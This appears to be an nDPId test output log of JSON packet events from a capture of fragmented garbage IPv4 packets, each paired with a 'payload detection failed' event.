+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387981,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":387993,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388020,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388032,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388045,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388117,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388132,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388167,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388214,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7161,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7162,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388244,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7163,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388257,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7164,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388269,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7165,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7166,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388294,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7167,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388306,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7168,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388357,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388373,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388385,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388410,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388448,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388463,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388515,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 